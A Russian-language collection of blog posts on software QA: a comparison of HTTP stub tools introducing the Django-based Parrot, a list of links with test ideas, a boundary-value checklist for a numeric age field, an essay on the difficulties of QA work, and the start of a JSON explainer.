Судя по информации с GitHub, весь проект практически состоит из frontend, то есть кода javascript там подавляющее количество, и поэтому вносить доработки в этот сервис и поддерживать его внутри компании пришлось бы на не очень хорошо знакомом стеке, что проблемно и трудозатратно.
Кроме того, оказалось, что не все необходимые нам функции были в версии, доступной на GitHub.
Не идеально, продолжаем искать альтернативные инструменты для нашей задачи.


postbin


Следующим вариантом, который мы рассмотрели под текущую задачу стал достаточно простой сервис postbin, находящийся в публичном доступе.


Ссылка: https://github.com/ashishbista/postbin


Его страничка выглядит примерно так:



Распространение по лицензии ISC, ныне не очень популярной, но почти эквивалентной MIT.
У postbin доступна публично развёрнутая версия, а вот с функционалом совсем скудно есть только http-заглушки.
Стек чистый javascript, для frontend и backend. В общем смотрим дальше.


httplive


Ещё один инструмент, попавший в обзор это httplive.


Ссылка: https://github.com/gencebay/httplive


В отличие от двух других, тут нет публичной развернутой версии, поэтому пришлось, отбросив лень, разворачивать и тестировать самостоятельно. К сожалению, далеко продвинуться не удалось. Команда для установки через go get из документации упала с ошибкой. Так что дальнейшая оценка инструмента производилась только на основе информации, которая есть в репозитории.


Скриншот интерфейса httplive мы брали из документации:



В репозитории есть видео, где можно посмотреть на основные функции.
Лицензия здесь MIT, что тоже является плюсом.
Порадовала возможность создавать свои кастомные эндпоинты и простой интерфейс. Из приятного: backend на golang, этот язык мы используем в разработках для платформы.


Однако, функциональных возможностей тут маловато. httplive не предусматривает настройку кастомных заголовков для ответов, нет возможности задать время ответа.
Отсутствие тестов большой минус с точки зрения поддержки. Исправить эту проблему, конечно, можно, но начинать дорабатывать opensource-проект с полного покрытия его тестами не очень хотелось.
Отметили для себя этот вариант как интересный, но поиск нужно было продолжать.


irontest


Следующий продукт irontest.


Ссылка: https://github.com/zheng-wang/irontest


Целый комбайн написанный на java с множеством функций: от тестирования ftp до IBM Integration Bus.
Скриншот интерфейса предоставлять не буду, потому что страниц и настроек там множество, все это есть подробно в документации.
Распространение по лицензии Apache 2.


Инструмент интересный, но всё же слишком нагруженный для нашей задачи. Кроме того, java язык совсем не из нашего стека.
Вероятно, когда понадобится тестировать что-то кроме http, мы повторно вернёмся к irontest.


duckrails


В наших поисках дошли и до инструмента, написанного на Ruby duckrails.


Ссылка: https://github.com/iridakos/duckrails


Распространяется по лицензии MIT.
Скриншотов также не будет, так как их много в readme-проекта.
По функциональности есть нужное нам: инструмент позволяет создавать http-заглушки со всем необходим. Есть и важная для нас киллер фича создание своих кастомных скриптов, но либо на Ruby, либо JavaScript.


Отметим приятный и не перегруженный интерфейс, наличие свободной лицензии и, что важно, наличие тестов.


Однако, проект уже долгое время не поддерживается. На момент написания статьи последний релиз был летом 2019 года.


Наш выбор


На этом было решено заканчивать поиски и попробовать дополнить этот богатый мир еще одним инструментом. Мы перешли к разработке велосипеда собственного производства.


В качестве стека были выбраны максимально простые и знакомые технологии: Python и web-фреймворк Django. С фронтом возиться не хотелось, так как наша команда это backend-разработка, поэтому был найден визуально очень хороший плагин на административную панель simpleui.


Благодаря выбору многофункционального швейцарского ножа Django, велосипед был собран всего за несколько часов с минимальным количеством кода. А как известно, меньше кода меньше багов.


И теперь, ко всеобщему вниманию, ещё один инструмент в сфере интеграционного тестирования Parrot!


Parrot


Мы решили, что наш сервис должен быть похож на попугая: быть милым, симпатичным, ручным, домашним и четко повторять ответы, которым его обучили.


Ссылка: https://github.com/Uma-Tech/parrot


Проект распространяется по лицензии Apache 2.
Свободен для коммерческого использования, имеет репозиторий на GitHub со множеством автопроверок кода: автотестами, статическими анализаторами, линтингом и дружелюбен для контрибьютинга.


Написан на языке Python третьей версии.
Запакован в docker для простого развертывания на сервере.
Основной функционал это создание http-заглушек, вечное хранение лога (в дальнейшем сделаем настройки автоочистки), возможность использования любых путей для заглушек.


Вот так, на данный момент, выглядит наш маленький попугай:



Интерфейс хоть и изменён визуально, но не сильно отличается от стандартного интерфейса Django.
В разделе Authentication and Authorization можно управлять пользователями, группами и правами для них.


Основной раздел HTTP Stubs, в нём можно создавать заглушки и просматривать логи запросов. Из интересного: для URL можно использовать regex-выражение, остальное плюс-минус стандартно, как в прочих инструментах.


После развертывания инструмента через docker, либо любым другим стандартным для Django способом, необходимо выполнить джанговские менеджмент-команды: применить миграции и создать суперпользователя. После этого можно будет зайти в стандартную админку Django под этим пользователем.


Сейчас функционал уступает некоторым рассмотренным инструментам, но он развивается и дополняется. Будем рады открытым запросам на необходимые пользователям функции.
В ближайших обновлениях: шаблонизация ответа, выполнение кастомных скриптов на запрос и полноценное проксирование к внешнему сервису, с обработкой полученного ответа, такой своего рода Man In The Middle.


Общее сравнение


webhook.site postbin httplive irontest duckrails parrot
Язык бекенда php javascript golang java ruby python
Лицензия MIT ISC MIT Apache2 MIT Apache2
Коммит меньше месяца назад - - - + - +
Тестирование email-сообщений + - - - - -
Настройка заголовков ответа + - - + + +
Настройка кода ответа + - - + + +
Настройка тела ответа + - + + + +
Установка задержки для ответа + - - - - +
Шаблонизация ответа + - - - - -
Выполнение кастомных скриптов - - - - + -
Настройка пути для http-заглушки - - + + + +
Regex-выражение для пути - - - - - +
Режим Man In The Middle - - - - - -

Что в итоге


Приложением стали активно пользоваться наши тестировщики, а после его презентации на внутреннем демо, Parrot заинтересовал и другие команды из компании Uma.Tech.
Увидев, что инструмент удобен нам и интересен другим, мы решили поделиться им со всем сообществом. Будем очень рады обратной связи и вашим pull requests.
Нам эта история показала, что иногда лучше изобрести свой велосипед, чем ехать на чужом.

Подробнее..

Где брать идеи для тестов (подборка полезных ссылок)

23.10.2020 16:09:30 | Автор: admin
Вот выдали нам (тестировщикам) функционал и сказали:

Держи, тестируй!

А с чего начать? Для новичка это может быть целой проблемой. Особенно когда нет подробного ТЗ. Поэтому я решила создать эту подборку, где можно поискать вдохновение!

Где брать идеи







Статьи


Они обычно называются классы эквивалентности для..., или чек-лист для..., или чит-лист для..., или как-то так. Вот вам мои подборки:


Текст

Тестирование текстового поля

Тестируем поля логин/пароль

Тестирование полей ввода


Число

Классы эквивалентности для строки, которая обозначает число


Дата

Классы эквивалентности для строки, которая обозначает дату


Файлы

Это еще не конец!


Мобильные приложения

Чеклист для тестирования мобильных приложений


Остальное

Это еще не конец! в этой статье Michael Hunter рассказывает про разные методы ввода, файлы, сетевое соединение, сообщения об ошибках, доступность, меню

Юлия Iuliia. Схемы транслитерации если ваша система что-то транслитерирует, то будет полезно.


Чит-листы в Ситечке


В системе Ситечко есть чит-листы, это как раз шаблоны для переиспользования (подробнее можно почитать тут).

Чтобы их увидеть, нужно:

  • войти в систему;
  • перейти в раздел Чек-листы;
  • выбрать вкладку Чит-листы.



Ну и всё, дальше уже выбираете нужный вам.


Работы студентов


Я собираю хорошие работы студентов своей школы для начинающих в конфлюенсе в открытом доступе (ссылка доступна без авторизации). Эти работы помогают другим студентам:

  • новые идеи для тестирования;
  • примеры оформления;

Идеи для тестов советую брать в разделах:




Плагины для автозаполнения полей


Например, тот же Bug Mugnet. Установили плагин, ставим курсор на любое поле ввода, и вдохновляемся. Вот, например, подборка для валидных емейл-адресов:



См также:
Bug magnet аддон тестировщика для заполнения полей мое описание аддона в блоге (плюс кросс-ссылки)


Исследовательские туры


Туры из книги James A. Whittaker это когда ты выбираешь какой-то один тур, засекаешь время, и выполняешь задачи тура. Фишка в том, что в каждом туре подробно рассказано, что именно тебе нужно делать.

Они помогают находить баги. Но и мысли для тестирования тоже подкидывают. В какую сторону думать, что проверять можно найти там вдохновение!

***************************

Если у вас есть другие полезные ссылки на чек-листы и идеи для тестирования, скидывайте в комментарии!

PS больше полезных статей ищите в моем блоге по метке полезное. А полезные видео на моем youtube-канале
Подробнее..

Чек-лист для тестирования числового поля

27.10.2020 10:11:01 | Автор: admin
При тестировании встречаются как интересные задачки с замудреной логикой, так и простые, вроде проверки простой строки или числового поля. Для простых полей можно один раз написать чек-лист проверок, а потом переиспользовать, лишь немного меняя под своё поле.

Сегодня мы разберем чек-лист для числового поля. Сначала я напишу общий чек-лист, потом пройдемся по каждому пункту и разберемся, зачем он нужен, а в конце напишем чек-лист по этому шаблону.

Итак, у нас есть некое поле, куда нужно вводить число. Например, поле возраст при регистрации:



При этом на сайте нельзя регистрироваться до 18 лет, есть запрещённый контент.

Какие проверки тут можно провести:

  1. Корректные значения
  2. Некорректные значения (за пределами валидных диапазонов или нелогичные: 200 лет, 88 секунд...)
  3. Граничные значения
  4. Пограничные значения
  5. Дробное число формат (через запятую и через точку)
  6. Дробное число округление (с кучей знаков после запятой)
  7. Ноль
  8. Один
  9. Пустое поле
  10. Очень большое число (поиск технологической границы)
  11. Отрицательное число
  12. Нечисловые и не совсем числовые значения

Соединяем все вместе Пример: чек-лист для возраста.
Ну и куда же практики Попробуй сам!



Корректные значения


Представьте, что у вас буквально 5 минут на проверку функционала. И вы успеваете провести только первые несколько тестов из чек-листа. А чек-лист у вас:

  • Пустое поле
  • 0
  • -1

В итоге эти проверки провели и считаете, что система работает нормально (ну ругается же!). А она всегда ругается, даже на корректное значение! Нехорошо Поэтому запоминаем правило:

ВСЕГДА сначала позитив, потом негатив!



См также:
Позитивное и негативное тестирование подробнее о том, с чего начинать

Для поля с возрастом какие у нас будут корректные значения? Все, что выше 18 лет:

  • 18
  • 25
  • 38
  • 45



Тут надо понимать, что мы выбираем какое-то ОДНО значение. Просто каждый раз разное, для избежания эффекта пестицида.

Также важно понимать, что у нас может быть не одно корректное значение. Это когда у нас есть несколько диапазонов, и разные условия на каждом.

Например, тот же возраст:

  • если до 18 лет показать в магазине все товары, кроме сигарет и алкоголя
  • если больше 18 лет показать вообще все товары

Тогда мы понимаем, что у нас есть уже два валидных диапазона. Значит, нам нужно взять значение из каждого. Например, 16 и 26.



Или если у нас идет расчет страховки в зависимости от стажа вождения:

  • 0 1 год 1000 руб
  • 1 3 года 800 руб
  • 3-5 лет 600 руб
  • 5-10 лет 500 руб
  • 10+ лет 300 руб

Получается 5 интервалов. И нам надо взять по одному значению из каждого. Например: 0.5, 2, 4, 6, 15.



Каждый раз берем разные значения, но в этом пункте смысл один взять корректные значения из ТЗ.


Некорректные значения


Тут есть разные варианты. Что значит некорректное значение?

  • за пределами валидных диапазонов
  • корректное с точки зрения компьютера (число), но лишенное смысла (200 лет)

Вернемся к примеру с возрастом. Корректное значение старше 18 лет. Значит, мы должны задать вопрос:

А что будет, если мы возьмем значение из неправильного диапазона? Что, если мне меньше 18 лет? Ну, скажем, 10.



Потом внимательно смотрим на выбранный интервал:

Хммммм, но ведь возраст не может быть меньше 0. То есть у нас есть логическая граница, разделяющая два разных класса эквивалентности:

  • Возможный физически, но невалидный по ТЗ (0 17 лет)
  • Невозможный физически (0 и менее)

Так что надо взять значение из каждого диапазона. Тогда получается 10 и -5:



Думаем дальше:

Если у нас есть некая логическая граница снизу, должна быть и сверху. Какой максимально возможный возраст у регистрирующихся на нашем сайте? Скорее всего, это около 55-65 лет, потому что более старшее поколение не любит компьютеры. Но можно заложить и условные 100-110 лет долгожителей.

Получаем еще один интервал с неявной границей. Но в любом случае, значения 25 и 145 будут различаться одно реалистичное, а другое нет. Значит, стоит его тоже попробовать!



А дальше снова эффект пестицида. Один раз берем 145, а другой 6666666.

Тут мы можем столкнуться с тем, что в поле нельзя ввести больше 2-3 символов. Разработчик перестраховался от дурака. Это не повод опускать руки и отказываться от своей проверки. Потому что скорее всего разработчик просто установил maxlength на поле, а он легко обходится!

См также:
Как снять maxlength со всех полей формы несколько способов на заметку



Граничные значения


Граничные значения отделяют один интервал от другого. Их обязательно надо тестировать!!! Потому что именно на границах чаще всего встречаются баги. Почему? Да потому что попадают в оба диапазона, или не попадают ни в один.

В нашем примере в ТЗ есть условие регистрация только для лиц старше 18 лет. Это значит, что разработчик должен сделать в коде программы логику вида:

  • ЕСЛИ x < 18 ТО регистрируем
  • ЕСЛИ x >=18 ТО выдаем ошибку

Если разработчик забыл добавить значение 18 в один из диапазонов, это может и не привести к ошибке. Потому что в таких случаях обычно используется конструкция if else. И разработчик ставит последний else на всякий случай то есть если ВДРУГ вводимое значение не попало ни в одно из условий выше:

  • if x > 18
  • elseif x < 18
  • else

А вот если разработчик добавил значение 18 сразу в несколько диапазонов:

  • if x => 18
  • elseif x <= 18

То программа растеряется, что же ей выбрать? И вполне может упасть!

В общем, на границах баги встречаются чаще, чем внутри интервала. Поэтому обязательно исследуйте их! В нашем ТЗ есть четкая граница больше 18 лет. Значит, тестируем число 18:



Если по ТЗ у нас есть несколько интервалов, проверяем каждую границу отдельно. Это произвольные границы которые накладывает ТЗ.

Но границы бывают разных типов:

  • Произвольные
  • Логические
  • Технологические

Произвольные проверили? Едем дальше. Логические это все о, что подчиняется логике (в минуте 60 секунд, человеку не может быть минус один годик, и т.д.). Применим к нашему примеру.

Граница снизу:

Логично, что возраст не может быть меньше нуля. Так что 0 это граница. Тестируем!



Граница сверху:

Нуууу Врядли возраст будет больше 35 лет. Хотя что мешает бабушке зайти на сайт? Может быть, 65? 88?

Здесь границу найти сложно. Вот взять значение из диапазона не слишком верится в это легко, а конкретной границы нету. Значит, и тестировать нечего. Сверху логической границы нет.

Поиск технологической границы я вынесла в отдельный пункт, так что вернемся к нему чуть позже. В любом случае это менее важно, чем выверить валидные границы, которые есть в ТЗ.

См также:
Типы границ на примере стиральной машинки
Зачем тестировать граничные значения

Как найти границы на клиенте и сервере
Мнемоника БМВ для поиска граничных значений



Пограничные значения


Если у нас есть граница, то есть и пограничные значения. И их тоже надо проверять!
В примере с возрастом граница 18. Значит, пограничные значения 17 и 19.



Зачем проверять пограничные значения? Да затем, что разработчик мог ошибиться в коде и указать границу немного не там.

if x > 18 if x > 17 

Если у нас граница сдвинута, а мы не тестируем пограничные значения, то можем легко пропустить этот баг. Ведь мы проверили:

  • границу 18. 18 > 17, так что все работает
  • недопустимое значение из диапазона слева 10. 10 < 17, так что выдало ошибку.

Делаем вывод, что всё работает правильно, хотя это не так! Так что обязательно проверяем пограничные значение.

Но нужно ли тестировать пограничные значения в обеих сторон? С 17 разобрались, нужно. А 19? Допустим, разработчик опечатался в другую сторону:

if x > 18 if x > 19 

Мы найдем этот баг проверкой граничного значения 18. А если на 18 работает и на числе внутри диапазона (например, 26) работает значит, код написан верно. То есть чтобы в коде был баг, это как надо извратиться то, написать что-то типа:

if (x == 18 or x > 21) 

Такое только специально можно сделать)) Ну а если рассчитывать на разработчика-дурака со злыми шутками в виде таких пасхалок, то остается только полный перебор делать. Так что давайте считать коллег адекватными людьми.

Но! Что, если разработчик описывает работу кода для нескольких интервалов? Тогда при опечатке диапазоны идут внахлест:

if x <= 19 (ОПЕЧАТКА) if (x > 18 and x < 55) 

Число 18 ошибку уже не поймает, ведь 18 <= 19, а во второй диапазон уже не попадает. Вот и будет ситуация, что на границе работает, внутри диапазона работает, а на пограничном значении нет.

Так что если нет доступа к коду, стоит проверить пограничные с обеих сторон, а то мало ли, где там опечатка закралась?

Дело становится еще интереснее, если в поле можно ввести не только целое число, но и дробное. Что тогда будет пограничным значением? Стоит начать с одного знака после запятой. В нашем примере это 17.9 и 18.1:



Хорошо, допустим, проверили:

  • Целые границы 17 и 19
  • Дробные границы 17.9 и 18.1

Но если такие значения округляются нормально, значит ли это, что и другие тоже будут округляться хорошо? Что будет, если ввести значение 17.99999999999 (после запятой 11 девяток, а результатом округления является попадание на границу)?

Это разные классы эквивалентности, если мы говорим о дробях, которые будут округляться:

  • Один знак после запятой
  • Много знаков

И стоит проверить оба! Так что добавляем новые тесты: 17.99999999999 и 18.00000000001




Дробное число (формат)


Если система позволяет вводить дробные значения, то мы проверяем их ещё в пункте 1, при тестировании корректных значений. Просто разбиваем понятие корректное число:

  • Целое
  • Дробное

А пункт дробное разбиваем дальше. Ведь дробное число можно записать через:

  • точку 6.9
  • запятую 6,9

Если работает один из способов, это совсем не значит, что будет работать второй! У меня даже есть пример двух калькуляторов, которые работают с дробными числами по-разному http://bugred.ru/calc/.

См также:
Не пишите в баге Ввести 6,9! разбор багов в калькуляторе

Значит, нам нужно убедиться, что работают оба способа. По крайней мере если они должны работать. Если должен работать только один, потому что стандарты запрещают использовать другой проверяем, что второй возвращает ошибку!

В случае с возрастом прикидываем, что будет позитивным дробным значением? Скорее всего, половинка например, 20.5 лет:



Проверили? Работает? Тогда смотрим через запятую 20,5:



То, что дробные в принципе работают проверили. Хорошо.


Дробное число (округление)


Особый интерес представляют значения, близкие к граничным, а не любые дробные значения. При приближении к границе на расстояние, меньшее точности вычислений, мы можем попасть в ситуацию, когда проверки значения на допустимость успешно проходят, но вычисления завершаются неуспешно.

Так что если у вас можно вводить нецелое число, обязательно попробуйте много девяток после запятой, приближенной к границе значение (мы это уже сделали пунктом выше):



При этом нет смысла проверять округление и через точку, и через запятую. Это будет лишнее дублирование тестов. Проверяем отдельно:

  • формат через точку или запятую
  • округление когда один или много знаков после запятой

См также:
В тестировании всегда начинаем с простого! почему не надо смешивать проверки



Ноль


Ноль мы тестируем всегда. И везде. Просто запомните это как аксиому. Просто потому, что в нуле часто встречаются баги.

Потому, что это обычно граница. Она может быть явной (прописанной в ТЗ) или неявной (в ТЗ не написано, но и так понятно, что возраст отрицательным быть не может).

Если мы говорим именно про числовое поле, то пробуем ввести число 0. Хотя, конечно ноль в тестировании выходит за рамки простого числа.



См также:
Класс эквивалентности Ноль-не ноль подробнее о тестировании нуля, и не только в числовых полях!



Один


Так как мы всегда проверяем ноль, то не забываем и о приграничном значении единице.

Фактически это обычно минимально возможное значение, если мы не говорим о дробных значениях:

Логично, что если мы делаем заказ, то покупаем хотя бы 1 книжку, или 1 платьюшко, или 1 кг муки
Минимальный возраст 1 день / месяц / год
Минимальное количество времени 1 секунда
Минимальное количество трудового стажа 1 день / месяц / год


Так что единица не менее магическое число, чем ноль. Проверяем и её!


Пустое поле


Фактически это тоже тест на ноль. Только уже не на число ноль, а на ноль в длине вводимой строки.

Ведь если мы вводим 0, это получается один символ.
А если мы изучаем длину строки, стоит проверить не только один, но и ноль.

Не забудьте, что ноль это не только число. Даже в числовом поле у нас будет минимум два нуля пустая строка и число 0. Может быть и больше нулей не забывайте про ноль на выходе. Но в нашем примере с возрастом его нет.


Очень большое число


Для поиска технологической границы нужно ввести очень большое число. Например, 9999999999999999.



Мы пытаемся зайти так далеко, как только это возможно. Но не слишком упарываясь это должен быть один тест, ну два.

Сначала можно оттолкнуться от значения integer чаще всего для числового поля выбирают именно такой тип данных. Если получилось его превысить, просто проверяем 25 или 45 девяток в поле. Не упало? Ну и чудненько. Технологической границы нет, но мы хотя бы попытались ее найти.

См также:
Как сгенерить большую строку, инструменты не обязательно делать это руками))
Технологическая граница в подсказках по ЮЛ пример реального бага

Если поле допускает ввод отрицательных значений, то проверяем много девяток как со знаком плюс, так и со знаком минус, проводя два теста:

  • 99999999999999999999999
  • -99999999999999999999999

Напоминаю если в поле нельзя ввести много символов, это не повод опускать руки и говорить технологическую границу проверить нельзя!. Потому что если в поле нельзя вводить много символов там скорее всего стоит maxlength на поле, который легко обходится. Сняли ограничение на клиенте и убедились, что на сервере защита от дурака тоже есть.

См также:
Как снять maxlength со всех полей формы
Как найти границы на клиенте и сервере



Отрицательное число


Когда у нас есть число, то всегда помним, что оно может быть:

  • положительное
  • отрицательное

При этом по опыту проводимых мною собеседований могу точно сказать, что немногие додумываются до проверки а если ввести отрицательное значение. А ведь система может работать по разному:

  • выдавать ошибку такого возраста / количества товара не существует, введите положительное число;
  • отсекать знак минус и работать с отрицательным числом как с положительным.

Это помимо того, что отрицательное число может быть вполне нормальным для поля (например, если мы сохраняем доходы / расходы).

Что тестируем в этом разделе?

  • Что будет, если ввести отрицательное число, которое по модулю будет корректным: -26 в нашем примере
  • Попытка найти технологическую границу: -99999999999999999999999



Нечисловые и не совсем числовые значения


Если вы думаете, что для проверки нечислового значения достаточно вбить любую строку типа привет, то вы ошибаетесь )))

Строки тоже бывают разные, и их можно разбить на:

  • множество строк, которые программа интерпретирует как числа;
  • множество строк, которые программа не может интерпретировать как числа.

Очень хорошо тесты для не совсем числовых значений рассмотрены в этой статье: Классы эквивалентности для строки, которая обозначает число

Я не буду ее полностью переписывать, просто дополню список проверок для нашего примера. Что мы еще не смотрели:

  • Точно не число Тест
  • Лидирующий ноль 025
  • Пробел перед числом 25
  • Пробел внутри числа 2 5
  • Запись через е 1.2e+2
  • Шестнадцатеричное значение 0xba
  • Infinity (да, прям так текстом и пишем)
  • NaN

В нашем случае с корректным значением возраста от 18 лет пункт пробел внутри числа становится интереснее. Тут ведь зависит от логики работы системы. Тут есть разные варианты:

  • Ругаться, если введено несколько слов
  • Отсекать всё, что идет после первого пробела 2 5 2
  • Убирать пробел и делать вид, что его не было (воспринимать как опечатку в цифре) 2 5 25

Аналогично с буквами. Система может ругаться, увидев их, а может просто выкинуть. Так что посмотрим новые варианты тестов:

  • до пробела меньше 18 лет 2 5
  • до пробела больше 18 лет 25 6
  • после пробела текста 25 тест
  • до пробела текст тест 25

При этом учтите в интерфейсе мы просто вводим какое-то значение, не указывая тип данных. А вот если мы тестируем REST API и json-сообщение в нем, то обязательно стоит попробовать передать число строкой:

  • number: 3
  • number: 3

Это разные значения. Если значение без кавычек это число. Если в кавычках строка, даже если выглядит как число. Может быть, разработчик сделает приведение типов в коде и примет второй вариант, а может, и нет. В любом случае, проверить стоит!


Соединяем все вместе: чек-лист для возраста


Идеи для проверок записали, обсудили каждую. Теперь давайте соединим все пункты вместе и напишем чек-лист для нашего примера.

Напомню условие у нас есть поле возраст при регистрации. При этом на сайте нельзя регистрироваться до 18 лет, запрещённый контент есть.



При составлении чек-листа учитываем все пункты, которые обсудили выше. Но не забываем о приоритетах. Начинаем всегда с основных проверок, а не с вбили ноль, отрицательное число и вообще всячески попытались сломать.

Проверка Пример Результат
Больше 18 лет 25 Успешная регистрация
Ровно 18 лет 18 Успешная регистрация
Меньше 18 лет 16 Ошибка: Возраст должен быть 18 лет или выше
Дробные значения
Через точку 21.5 Успешная регистрация
Через запятую 21,5 Успешная регистрация
Пограничные значения
Граница слева от 18 17 Ошибка: Возраст должен быть 18 лет или выше
Граница слева, дробное число 17.999999999999999999 Ошибка: Возраст должен быть 18 лет или выше
Граница справа от 18* 18.00000000000000001 Успешная регистрация
Ноль / Один
Ноль 0 Ошибка: Возраст должен быть 18 лет или выше
Пустое поле Успешная регистрация (или ошибка, что поле обязательное, тут надо у аналитика уточнять)
Единица 1 Ошибка: Возраст должен быть 18 лет или выше
Большие числа
Поиск технологической границы 999999999999999999999 Ошибка: Некорректное значение возраста
Поиск тех. границы меньше нуля -999999999999999999999 Ошибка: Некорректное значение возраста
Нецелые числа
Точно не число Тест Ошибка: Введите число
Лидирующий ноль 025 Успешная регистрация, возраст распознал как 25
Пробел перед числом 25 Успешная регистрация, возраст распознал как 25
Пробел внутри числа 2 5 Ошибка: Возраст должен быть 18 лет или выше (распознает до пробела)
До пробела больше 18 лет 25 6 Успешная регистрация, возраст распознал как 25
После пробела текста 25 тест Успешная регистрация, возраст распознал как 25
До пробела текст тест 25 Успешная регистрация, возраст распознал как 25
Запись через е 1.2e+2 Ошибка: Введите число
Шестнадцатеричное значение 0xba Ошибка: Введите число
Строка Infinity Infinity Ошибка: Введите число
Строка NaN NaN Ошибка: Введите число

* Если работает 18.000000000001, то проверять целое число 19 смысла нет. Если дробные не принимаются системой, тогда да, проверяем на 19

Конечно, проверки из блока нецелые числа не супер-важны. Иногда на них можно и нужно забить. Особенно если мы знаем, что система не должна ничего анализировать, убирать пробелы, выкидывать текст и прочая Тогда достаточно взять одно значение из этого списка. А остальные использовать для эффекта пестицида, то есть каждый раз новый вариант не числа.

Но ведь для того, чтобы отсекать лишнее, надо сначала научиться генерировать много идей! Вот в этом мы с вами сегодня и потренировались =)

См также:
Читлист для числового поля в Ситечке (нужно авторизоваться)
Где брать идеи для тестов (подборка полезных ссылок)



Попробуй сам


Напишите чек-лист проверок для поля Стаж вождения. В зависимости от стажа идёт расчет страховки. У всех интервалов слева число включительно, а справа нет.

  • 0-3 года 1000 руб
  • 3-6 лет 700 руб
  • 6-10 лет 500 руб
  • 10+ лет 300 руб

Форма не дает вводить ничего, кроме цифр (это ограничение стоит на клиенте). Дробные значения недопустимы, сколько полных лет стажа есть, столько и пишем.
Подробнее..

Сложно ли работать QA

19.02.2021 00:11:18 | Автор: admin

Сразу напрашивается вопрос, а кто спрашивает?


Воображение рисует студента последнего курса технического ВУЗа, знания которого более менее свежи, информации дано много, программирование потрогано на нескольких языках, но вот оно не притягивает. Вот стартануть будет в профессии легко, дообучения будет много, но и рост знании будет шустрыи. Работать будет становиться все сложнеи, но потому , что знания позволят залезть глубже в работу программистов, в продукт. Бекграунд позволит предположить вариантов проблем больше, но и наидено будет не мало. Не будет легко, но легко было бы и не интересно.

Дальше представляю слесаря монтажника или веселого бармена с опытом работы 10 лет, которому надоела низкая зарплата, когда много рассказов про IT с перспективами и частыми премиями. Вот тут размещая резюме первыи подвох. А не ты один этот рассказ слышал, и там оказывается много народу хотят, но твое резюме даже не просмотрено особо. Дальше какие то платные, бесплатные курсы, начинаешь хотя бы краем глаза понимать куда ты вообще собираешься. Дальше приглашение, собеседование, отказ без пояснении. Думаешь, что не так, может плохо ответил, не так сел, не то рассказывал, но причину не сказали. Дальше бросаешь это дело и возвращаешься к старому ремеслу, или с новыми силами поднимаешься и идешь на еще тонну собеседовании. Наконец приглашение, долгожданный Оффер. На работе тоже много нужно, продолжаешь фигачить и учиться, и не звучит это все легко.

Если уж ударяться в краиности, то дальше воображаем человека лет 50-55, работал где-то, даже программировал , но, например, на чистом C. Новое не изучал, но вот подумал, что надо что-то менять, попробовать. Честно в резюме описываешь опыт , весь сугубо техническии. Но откликов нет, все же понимают, что придется обучать. Опыт привлекает, но возраст отпугивает , и не понимают, сможет ли такои человек обучаться новому и быстро. А тут уж даже если и устроится человек, то простым его путь не вижу.

Получается, что путь легким в данных ситуациях не выглядит. Но если смотреть прицельно, то а кто спрашивает?

Если подняла до этого абстрактныи вопрос, сложно ли работать в целом, то дальше хочу рассмотреть конкретные сложности.

Их можно мне кажется перечислять очень долго, уже не говоря о том, что у каждого они свои. То, что проблема для одного тестировщика, совсем не проблема для другого.

Не знание какого-то инструмента.

Часто приходится работать с каким новым инструментом. Либо его использует вся команда, а ты видишь первыи раз. Либо надо было какои-то внедрять, кто-то изучил и выбрал, а ты уже поставлен перед фактом. Второи вариант удобнее, так как изучивший не только должен подготовить какие-то инструкции и демонстрации, но и совместно внедряя, будет подниматься много вопросов, которые сразу же будут решаться. В первом варианте приходится делать большинство исследовании самому, и повезет, если внедряя, параллельно написали инструкции и гаиды, что делается не всегда. И если есть хороший ментор или наставник, то один раз он может помочь и настроить, и провести какие то первые тесты вместе. Рекомендую искать инструкции по настроике и использованию на официальном саите. Вроде простая рекомендация, но первым делом идут в гугл, а я частенько замечала копирования просто с официального сайта. И возможно его инструкций будет с головой хватать для решения всех вопросов, как минимум на первых порах.

Если не устроило, то поискать в интернете. Еще бы дала совет, что если за полчаса, максимум час не смогли решить какои-то вопрос, застряли на каком то моменте, и не двигаетесь вперед, то всегда спросите. Умение спрашивать очень нужное и полезное. Всегда уточните, кому можно адресовать вопросы, и активно пользуитесь, вопросов глупых не бывает. Но надо только сформулировать, чтобы сэкономить время отвечающего. Резюмируя скажу, что не видела еще инструмента, в котором не смогла разобраться, просто иногда может занять больше времени, чем хотелось бы.

Одним из сложных моментов я бы ещё назвала неоднозначные формулировки в описании ТЗ (техническое задание, по которому тестируем).

Опытные QA умеют читать между строк, понимают зачем это бизнесу, и решит ли их запросы, да и целом удобно ли будет пользоваться полученным продуктом.

Все это позволяет сократить время на уточнения по тех заданию. Но как же много я вижу потерь времени на то, что тестировалось совсем не то, что изначально планировалось, как же много претензий к качеству, когда задача была поставлена так, что понять её можно двумя разными способами.

Часто решением проблемы однозначного понимания занимается проджект проекта. Хотя это цель всей команды разработки. Главное, определить места, которые могут быть поняты неоднозначно. Вся команда заинтересована на первых же этапах выяснить то, что на самом деле мы делаем и зачем. И чтобы это поняли все участники разработки (от постановщика до тестировщика).

Про разные проблемы и сложности в работе QA можно долго рассказывать, попробовала выделить какие то совсем больные точки, на которые я натыкалась. Если хоть немного было интересно, то могла бы продолжить.

Подробнее..

Что такое JSON

02.05.2021 16:16:26 | Автор: admin

Если вы тестируете API, то должны знать про два основных формата передачи данных:

  • XML используется в SOAP(всегда)и REST-запросах(реже);

  • JSON используется в REST-запросах.

Сегодня я расскажу вам про JSON.

JSON (англ. JavaScript Object Notation) текстовый формат обмена данными, основанный на JavaScript. Но при этом формат независим от JS и может использоваться в любом языке программирования.

JSON используется в REST API. По крайней мере, тестировщик скорее всего столкнется с ним именно там.

См также:

Что такое API общее знакомство с API

Что такое XML второй популярный формат

Введение в SOAP и REST: что это и с чем едят видео про разницу между SOAP и REST

В SOAP API возможен только формат XML, а вот REST API поддерживает как XML, так и JSON. Разработчики предпочитают JSON он легче читается человеком и меньше весит. Так что давайте разберемся, как он выглядит, как его читать, и как ломать!

Содержание

Как устроен JSON

В качестве значений в JSON могут быть использованы:

  • JSON-объект

  • Массив

  • Число (целое или вещественное)

  • Литералы true (логическое значение истина), false (логическое значение ложь) и null

  • Строка

Я думаю, с простыми значениями вопросов не возникнет, поэтому разберем массивы и объекты. Ведь если говорить про REST API, то обычно вы будете отправлять / получать именно json-объекты.

JSON-объект

Как устроен

Возьмем пример из документации подсказок Дадаты по ФИО:

{  "query": "Виктор Иван",  "count": 7}

И разберемся, что означает эта запись.

Объект заключен в фигурные скобки {}

JSON-объект это неупорядоченное множество пар ключ:значение.

Ключ это название параметра, который мы передаем серверу. Он служит маркером для принимающей запрос системы: смотри, здесь у меня значение такого-то параметра!. А иначе как система поймет, где что? Ей нужна подсказка!

